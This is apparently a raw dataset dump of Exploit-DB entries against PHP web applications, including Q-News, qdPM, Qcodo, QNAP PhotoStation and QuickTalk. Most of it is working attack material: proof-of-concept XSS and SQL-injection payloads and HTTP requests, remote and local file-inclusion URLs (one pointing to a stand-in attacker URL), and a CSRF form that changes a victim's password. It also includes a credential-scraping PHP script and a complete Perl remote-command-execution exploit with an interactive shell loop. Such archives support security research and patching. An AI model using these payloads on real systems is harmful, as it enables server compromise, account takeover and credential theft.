deardaniel/secdata-raw huggingface dataset:
Exploit-DB #26018
Description: Pyrox Search 1.0.5 - 'Newsearch.php' Whatdoreplace Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-07-21
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/14343/info

A cross-site scripting vulnerability affects Pyrox Search. This issue is due to a failure of the application to properly sanitize user-supplied URI input that will be output in dynamically generated Web pages.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://[www.example.com]/[path]/NEWSEARCH.php?whatdoreplace=whatdoreplace%00<script>alert(document.cookie)</script>
Exploit-DB #8031
Description: Q-News 2.0 - Remote Command Execution
Type: webapps
Platform: php
Date: 2009-02-10
Author: Fireshot

Exploit:
##########################################################################

Author = FireShot , Jacopo Vuga.
Mail = fireshot<at>autistici<dot>org

Vulnerability = Remote Command Execution
Software = q-news 2.0
Download =
http://ovh.dl.sourceforge.net/sourceforge/php-box/2.0_nologin.zip

Greets to = Osirys for his friendship and his tips, Myral, str0ke

###########################################################################

[CODE]

<?php
$filename = 'settings.php';
if (is_writable($filename)) {
    if (!$handle = fopen($filename, 'w')) {
         print "Cannot open file ($filename)";
         exit;
    }
if (!fwrite($handle, "<?php
  \$[CREDENTIAL_REDACTED]';
  \$font = '$font';
  \$height = '$height';
  \$width = '$width';
  \$direction = '$direction';
  \$speed = '$speed';
  \$bgcolor = '$bgcolor';
  \$txtcolor = '$txtcolor';
  \$txtsize = '$txtsize';
  ?>")) {
        print "Cannot write to file ($filename)";
        exit;
    }
    print "Successfully saved settings to file ($filename)";
    fclose($handle);
                    
} else {
    print "The file $filename is not writable";
}
?>

[/CODE]


[EXPLOIT]

#!/usr/bin/perl


use HTTP::Request;
use LWP::UserAgent;

my $host  =  $ARGV[0];
my $vuln  =  "/wsettings.php?speed=";
my $rce   =  "/settings.php?cmd=";
my $evil  =  "';system(\$_GET[cmd]);\$x = '";

my $inj_url = $host.$vuln.$evil;
my $rce_url = $host.$rce;

($host) || die " usage= perl $0 site \n"; 

print "------------------------\n";
print "   Q-News RCE Exploit   \n";
print "       by FireShot      \n";
print "------------------------\n\n";

$response = get($inj_url);
if ($response =~ /Successfully saved settings/) {
    &shell;
}
else {
    print "error \n";
    exit(0);
}

sub shell {
    print "FireShot-shell: ";
    my $cmd = <STDIN>;
    $cmd !~ /quit/ || die " exit \n";
    my $url = $rce_url.$cmd;
    my $re = get($url);
    if ($re =~ /(.)/) {
        print $re;
    }
    else {
        print "command unknow \n";
    }
    &shell;
}

sub get() {
    my $url = $_[0];
    my $req = HTTP::Request->new(GET => $url);
    my $agent  = LWP::UserAgent->new();
    $agent->timeout(4);
    my $response = $agent->request($req);
    return $response->content;
}

[/EXPLOIT]

############################################################################

# milw0rm.com [2009-02-10]
Exploit-DB #26600
Description: Q-News 2.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-11-26
Author: [GB]

Exploit:
source: https://www.securityfocus.com/bid/15576/info

Q-News is prone to a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to execute arbitrary remote PHP code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.

http://www.example.com/path_to_qnews/q-news.php?id=http://[attacker_url]
Exploit-DB #16116
Description: Qcodo Development Framework 0.3.3 - Full Information Disclosure
Type: webapps
Platform: php
Date: 2011-02-05
Author: Daniel Godoy

Exploit:
# Exploit Title: Qcodo Development Framework 0.3.3 Full Info
Disclosure
# Google Dork: allintext: /qcodo/_devtools/codegen.php 
# Date: 5/02/2011
# Author: Daniel Godoy
# Author Mail: DanielGodoy[at]GobiernoFederal[dot]com
# Author Web: www.delincuentedigital.com.ar
# Software Link: http://www.qcodo.com/
# Version: All
# Tested on: Linux

[Comment]
Agradezco a mis amigos: Hernan Jais, Alfonso Cuevas, Lisandro
Lezaeta, Nicolas Montanaro, Luciano Laporta Podazza,Oscar
Guerrero,Lucas Chavez,Inyexion, Login-Root, KikoArg, Ricota,
Xarnuz, Truenex, TsunamiBoom, _tty0, Big, Sunplace, Killerboy,Erick
Jordan,Animacco,
yojota, Pablin77, SPEED, Knet, Cereal, Yago, Rash, MagnoBalt, El
Rodrix, l0ve, her0
 

[Qcodo Exploit]

<?php
$sitio = 'http://locahost/qcodo/';
$source = file_get_contents($sitio);
$explodeo = explode("array",$source);
$explodeo2= explode("'",$explodeo[1]);
echo "server: $explodeo2[7]";
echo "<br>database: $explodeo2[13]";
echo "<br>username: $explodeo2[17]";
echo "<br>[CREDENTIAL_REDACTED][21]";

?>
Exploit-DB #45767
Description: qdPM 9.1 - 'filter_by' SQL Injection
Type: webapps
Platform: php
Date: 2018-11-02
Author: AkkuS

Exploit:
# Exploit Title: qdPM 9.1 - 'filter_by' SQL Injection
# Date: 2018-11-01
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Contact: https://pentest.com.tr
# Vendor Homepage: http://qdpm.net
# Software Link: http://qdpm.net/download-qdpm-free-project-management
# Version: v9.1
# Category: Webapps
# Tested on: XAMPP for Linux 5.6.38-0
# Software description:
# Free project management tool for small team
# qdPM is a free web-based project management tool suitable for a small team working on multiple projects.
# It is fully configurable. You can easy manage Projects, Tasks and People. Customers interact
# using a Ticket System that is integrated into Task management.

# Vulnerabilities:
# The application accommodates 3 different vulnerabilities.
# SQL Injection - Cross-Site Scripting and Denial of Service.

# POC 1 : SQL Inection :
# An attacker can gain access to all the database information using filter_by[CommentCreatedFrom]
# and filter_by[5BCommentCreatedTo] parameters.

# Parameter: filter_by[CommentCreatedFrom] and filter_by[5BCommentCreatedTo](POST)
# Request URL: /index.php/timeReport

#    Type: boolean-based blind
#    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
#    Payload: 

filter_by[CommentCreatedFrom]=2018-10-30") RLIKE (SELECT (CASE WHEN (7166=7166) THEN #0x323031382d31302d3330 ELSE 0x28 END)) AND ("votm"="votm&filter_by[CommentCreatedTo]=2018-10-17

#    Type: error-based
#    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
#    Payload: 

filter_by[CommentCreatedFrom]=2018-10-30") AND EXTRACTVALUE(2944,CONCAT(0x5c,0x716a766b71,(SELECT #(ELT(2944=2944,1))),0x[PII_REDACTED])) AND ("ilfY"="ilfY&filter_by[CommentCreatedTo]=2018-10-17

#    Type: stacked queries
#    Title: MySQL > 5.0.11 stacked queries (comment)
#    Payload: 

filter_by[CommentCreatedFrom]=2018-10-30");SELECT SLEEP(5)#&filter_by[CommentCreatedTo]=2018-10-17

#    Type: AND/OR time-based blind
#    Title: MySQL <= 5.0.11 AND time-based blind (heavy query)
#    Payload:

filter_by[CommentCreatedFrom]=2018-10-30") AND 2173=BENCHMARK(5000000,MD5(0x7652785a)) AND #("PRig"="PRig&filter_by[CommentCreatedTo]=2018-10-17

#    Type: UNION query
#    Title: Generic UNION query (NULL) - 40 columns
#    Payload:

filter_by[CommentCreatedFrom]=2018-10-30") UNION ALL SELECT #33,33,33,33,33,33,33,33,33,33,CONCAT(0x716a766b71,0x474b474f65666b[PII_REDACTED][PII_REDACTED]6743495a[PII_REDACTED]6f[PII_REDACTED]4775775a6f4d6a63,0x[PII_REDACTED]),#33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33-- #pqmn&filter_by[CommentCreatedTo]=2018-10-17
Exploit-DB #46399
Description: qdPM 9.1 - 'search[keywords]' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2019-02-18
Author: Mehmet EMIROGLU

Exploit:
===========================================================================================
# Exploit Title: qdPM 9.1 - 'search[keywords]' XSS Injection
# CVE: CVE-2019-8390
# Date: 14-02-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: http://qdpm.net
# Software Link: http://qdpm.net/download-qdpm-free-project-management
# Version: v9.1
# Category: Webapps
# Tested on: Wamp64, @Win
# Software description:
  Free project management tool for small team
  qdPM is a free web-based project management tool suitable for a small
team working on multiple projects.
  It is fully configurable. You can easy manage Projects, Tasks and People.
Customers interact
  using a Ticket System that is integrated into Task management.
===========================================================================================
# POC - XSS
# Parameters : search[keywords]
# Attack Pattern : e"><script>zi2u(9111)</script>
# POST Request : http://localhost/qdpm/index.php/configuration
===========================================================================================
POST /qdpm/index.php/users HTTP/1.1
Content-Length: 73
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost/qdPM/
Cookie: qdPM8=se4u27u8rbs04mo61f138b5k3d; sidebar_closed=1
Host: localhost
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML,
like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*

search[keywords]=e"><script>zi2u(9111)</script>&search_by_extrafields[]=9
Exploit-DB #46387
Description: qdPM 9.1 - 'search_by_extrafields[]' SQL Injection
Type: webapps
Platform: php
Date: 2019-02-15
Author: Mehmet EMIROGLU

Exploit:
===========================================================================================
# Exploit Title: qdPM 9.1 - 'search_by_extrafields[]' SQL Injection
# Date: 14-02-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: http://qdpm.net
# Software Link: http://qdpm.net/download-qdpm-free-project-management
# Version: v9.1
# Category: Webapps
# Tested on: Wamp64, @Win
# Software description:
  Free project management tool for small team
  qdPM is a free web-based project management tool suitable for a
small team working on multiple projects.
  It is fully configurable. You can easy manage Projects, Tasks and
People. Customers interact
  using a Ticket System that is integrated into Task management.
===========================================================================================
# POC - SQLi
# Parameters : search_by_extrafields[]
# Attack Pattern : URL encoded POST input search_by_extrafields[] was set to \
  Error message found : You have an error in your SQL syntax
# POST Request: http://localhost/qdpm/index.php/users
===========================================================================================
POST /qdpm/index.php/users HTTP/1.1
Content-Length: 45
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost/qdPM/
Cookie: qdPM8=se4u27u8rbs04mo61f138b5k3d; sidebar_closed=1
Host: localhost
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21
(KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*

search[keywords]=&search_by_extrafields[]=%5c
Exploit-DB #46398
Description: qdPM 9.1 - 'type' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2019-02-18
Author: Mehmet EMIROGLU

Exploit:
===========================================================================================
# Exploit Title: qdPM 9.1 - 'type' XSS Injection
# CVE: CVE-2019-8391.
# Date: 14-02-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: http://qdpm.net
# Software Link: http://qdpm.net/download-qdpm-free-project-management
# Version: v9.1
# Category: Webapps
# Tested on: Wamp64, @Win
# Software description:
  Free project management tool for small team
  qdPM is a free web-based project management tool suitable for a small
team working on multiple projects.
  It is fully configurable. You can easy manage Projects, Tasks and People.
Customers interact
  using a Ticket System that is integrated into Task management.
===========================================================================================
# POC - XSS
# Parameters : type
# Attack Pattern : tasks_columns_list<script>bKtx(9366)</script>
# GET Request: http://localhost/qdpm/index.php/configuration
===========================================================================================
GET
/qdpm/index.php/configuration?type=tasks_columns_list<script>bKtx(9366)</script>
HTTP/1.1
Referer: http://localhost/qdPM/
Cookie: qdPM8=se4u27u8rbs04mo61f138b5k3d; sidebar_closed=1
Host: localhost
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML,
like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
Exploit-DB #48460
Description: qdPM 9.1 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2020-05-12
Author: Besim

Exploit:
# Exploit Title: qdPM 9.1 - Arbitrary File Upload
# Date: 2020-05-06
# Author: Besim ALTINOK
# Vendor Homepage: https://sourceforge.net/projects/qdpm/
# Software Link: https://sourceforge.net/projects/qdpm/
# Version: v9.1 (Maybe it affect other versions)
# Tested on: Xampp
# Credit: İsmail BOZKURT
# Remotely: Yes

Description
--------------------------------------------------------------------

When a normal user tries to update their profile, they can arbitrarily
upload files to the user_photo area. Because there are no file extension
controls. Additionally, the .htaccess file has some protection against
malicious .php file. But, the developer writes the wrong regex. So, the
Attacker can change extension as (.PHP) and run code on the server

.htaccess file content:
----------------------------------------------
# This is used to restrict access to this folder to anything other
# than images

# Prevents any script files from being accessed from the images folder
<FilesMatch "\.(php([0-9]|s)?|s?p?html|cgi|pl|exe)$">
   Order Deny,Allow
   Deny from all
</FilesMatch>

Vulnerable File-1: actions.class.php
----------------------------------------------
Vulnerable function: processForm
---------------------------------------------
Vulnerable area:
---------------------------------------------

<?php

protected function processForm(sfWebRequest $request, sfForm $form)
  {
    $files = $request->getFiles();
    $userPhoto = $files['users']['photo']['name'];

    $form->bind($request->getParameter($form->getName()),
$request->getFiles($form->getName()));
    if ($form->isValid())
    {
      $user = $this->getUser()->getAttribute('user');

      $this->checkUser($form['email']->getValue(),$user->getId());

      $form->setFieldValue('users_group_id',$user->getUsersGroupId());
      $form->setFieldValue('active',$user->getActive());

      $hasher = new PasswordHash(11, false);

      if(isset($form['new_password']))
      {
        if(strlen($form['new_password']->getValue())>0)
        {
          $form->setFieldValue('password',
$hasher->HashPassword($form['new_password']->getValue()));
        }
      }

      if(strlen($userPhoto)>0)
      {
        $userPhoto =  rand(111111,999999) . '-' . $userPhoto;
        $filename = sfConfig::get('sf_upload_dir') . '/users/' . $userPhoto;
        move_uploaded_file($files['users']['photo']['tmp_name'], $filename);
        $form->setFieldValue('photo', $userPhoto);

        app::image_resize($filename,$filename);
      }
      else
      {
        $form->setFieldValue('photo', $form['photo_preview']->getValue());
      }

?>
Exploit-DB #50854
Description: qdPM 9.2 - Cross-site Request Forgery (CSRF)
Type: webapps
Platform: php
Date: 2022-04-07
Author: Chetanya Sharma

Exploit:
# Exploit Title: qdPM 9.2 - Cross-site Request Forgery (CSRF)
# Google Dork: NA
# Date: 03/27/2022
# Exploit Author: Chetanya Sharma @AggressiveUser
# Vendor Homepage: https://qdpm.net/
# Software Link: https://sourceforge.net/projects/qdpm/files/latest/download
# Version: 9.2
# Tested on: KALI OS
# CVE : CVE-2022-26180
#
---------------

Steps to Exploit : 
	1) Make an HTML file of given POC (Change UserID field Accordingly)and host it.
	2) send it to victim.

<html><title>qdPM Open Source Project Management - qdPM 9.2 (CSRF POC)</title>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://qdpm.net/demo/9.2/index.php/myAccount/update" method="POST">
      <input type="hidden" name="sf&#95;method" value="put" />
      <input type="hidden" name="users&#91;id&#93;" value="1" /> <!-- Change User ID Accordingly --->
      <input type="hidden" name="users&#91;photo&#95;preview&#93;" value="" />
      <input type="hidden" name="users&#91;name&#93;" value="AggressiveUser" />
      <input type="hidden" name="users&#91;new&#95;password&#93;" value="TEST1122" />
      <input type="hidden" name="users&#91;email&#93;" value="administrator&#64;Lulz&#46;com" />
      <input type="hidden" name="users&#91;photo&#93;" value="" />
      <input type="hidden" name="users&#91;culture&#93;" value="en" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
Exploit-DB #50176
Description: qdPM 9.2 - Password Exposure (Unauthenticated)
Type: webapps
Platform: php
Date: 2021-08-04
Author: Leon Trappett

Exploit:
# Exploit Title: qdPM 9.2 - DB Connection String and Password Exposure (Unauthenticated)
# Date: 03/08/2021
# Exploit Author: Leon Trappett (thepcn3rd)
# Vendor Homepage: https://qdpm.net/
# Software Link: https://sourceforge.net/projects/qdpm/files/latest/download
# Version: 9.2
# Tested on: Ubuntu 20.04 Apache2 Server running PHP 7.4

The password and connection string for the database are stored in a yml file. To access the yml file you can go to http://<website>/core/config/databases.yml file and download.
Exploit-DB #39129
Description: qEngine 4.1.6/6.0.0 - 'task.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2014-03-25
Author: Gjoko Krstic

Exploit:
source: https://www.securityfocus.com/bid/66401/info

qEngine is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input before being used to include files.

An attacker can exploit this issue using directory-traversal strings to view files and execute local script code in the context of the web server process. This may allow the attacker to compromise the application; other attacks are also possible.

qEngine 6.0.0 and 4.1.6 are vulnerable; other versions may also be affected. 

http://www.example.com/qe6_0/admin/task.php?run=../../../../../../windows/win.ini
Exploit-DB #35617
Description: Qianbo Enterprise Web Site Management System - 'Keyword' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-04-14
Author: d3c0der

Exploit:
source: https://www.securityfocus.com/bid/47375/info

Qianbo Enterprise Web Site Management System is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com]/en/Search.Asp?Range=Product&Keyword=[xss]
Exploit-DB #41988
Description: QNAP PhotoStation 5.2.4 / MusicStation 4.8.4 - Authentication Bypass
Type: webapps
Platform: php
Date: 2017-05-10
Author: Kacper Szurek

Exploit:
# Exploit QNAP PhotoStation 5.2.4 and MusicStation 4.8.4 Authentication Bypass
# Date: 10.05.2017
# Software Link: https://www.qnap.com
# Exploit Author: Kacper Szurek
# Contact: https://twitter.com/KacperSzurek
# Website: https://security.szurek.pl/
# Category: web
  
1. Description
 
`$_COOKIE[STATIONSID]` is not escaped and then used inside SQL statement.

https://security.szurek.pl/qnap-photostation-524-musicstation-484-authentication-bypass.html

2. Proof of Concept

GET /photo/api/dmc.php HTTP/1.1
Host: qnap.host:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: pl-PL,pl;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: QMS_SID=' UNION SELECT[PII_REDACTED],[PII_REDACTED],[PII_REDACTED],[PII_REDACTED],[PII_REDACTED],[PII_REDACTED],[PII_REDACTED],[PII_REDACTED],[PII_REDACTED] -- a
Connection: close

3. Fix

Upgrade to version: Photo Station (5.3.4 / 5.2.5), Music Station (5.0.4 / 4.8.5)
Exploit-DB #8602
Description: Qt QuickTeam - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2009-05-04
Author: ahmadbady

Exploit:
                =-=-remote file include-=-=

-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=
script::quickteam 2
-------------------------------------------------
Author: ahmadbady
my site :Coming Soon
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
download from:http://www.qt-cute.org/download/qte2.zip

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
vul:/qte_web.php
$qte_root = $qte_web_path;
require_once($qte_root.'bin/qte_init.php');
--
vul:/bin/qte_init.php
require_once($qte_root.'bin/config.php');
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=
xpl:
path/qte_web.php?qte_web_path=shell.txt?
path/bin/qte_init.php?qte_root=shell.txt?
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=--=-=-=-=
dork: :d
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=

# milw0rm.com [2009-05-04]
Exploit-DB #31720
Description: QT-cute QuickTalk Guestbook 1.6 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-05-02
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/29013/info

QT-cute QuickTalk Guestbook is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

QuickTalk Guestbook 1.6 is vulnerable; other versions may also be affected.

http://www.example.com/quicktalk/qtf_cmd.php?a=[XSS]
http://www.example.com/quicktalk/qtf_ind_search_kw.php?title=[XSS]
http://www.example.com/quicktalk/qtf_ind_search_ov.php?a=[XSS]
http://www.example.com/quicktalk/qtf_ind_search_ov.php?a=user&id=2&n=[XSS]
http://www.example.com/quicktalk/qtf_ind_search_ov.php?a=user&id=[XSS]
http://www.example.com/quicktalk/qtf_ind_search_kw.php?title=adasdasdadasda&f=-1&al=0&at=0&s=[XSS]
http://www.example.com/quicktalk/qtf_ind_stat.php?y=[XSS]
http://www.example.com/quicktalk/qtf_ind_post.php?f=1&t=1[XSS]
http://www.example.com/quicktalk/qtf_adm_cmd.php?a=[XSS]
Exploit-DB #28064
Description: Qto File Manager 1.0 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-03-06
Author: alijsb

Exploit:
source: https://www.securityfocus.com/bid/18510/info

Qto file manager is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.xom/qto/index.php?msg=[xss]